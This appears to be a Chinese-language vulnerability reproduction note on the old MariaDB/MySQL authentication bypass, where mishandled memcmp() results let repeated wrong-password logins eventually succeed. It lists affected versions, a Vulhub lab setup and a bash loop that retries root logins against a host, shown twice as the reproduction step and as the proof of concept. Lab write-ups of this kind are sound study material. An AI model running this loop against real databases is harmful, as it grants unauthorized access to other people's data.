一、漏洞描述
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
二、漏洞影响
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
三、漏洞复现
1、环境搭建
使用 Vulhub 在服务器上搭建:
cd /vulhub/
docker-compose up -d
环境启动后,将启动一个 MySQL(5.5.23) 服务,通过 MySQL 客户端,可以直接登录,用户名为:root
,密码为:123456
:
2、漏洞复现
在攻击机 Bash 下运行如下命令:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 1.1.1.1 -P3306 ; done
在一定量的尝试后便可成功登录。
四、漏洞POC
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 1.1.1.1 -P3306 ; done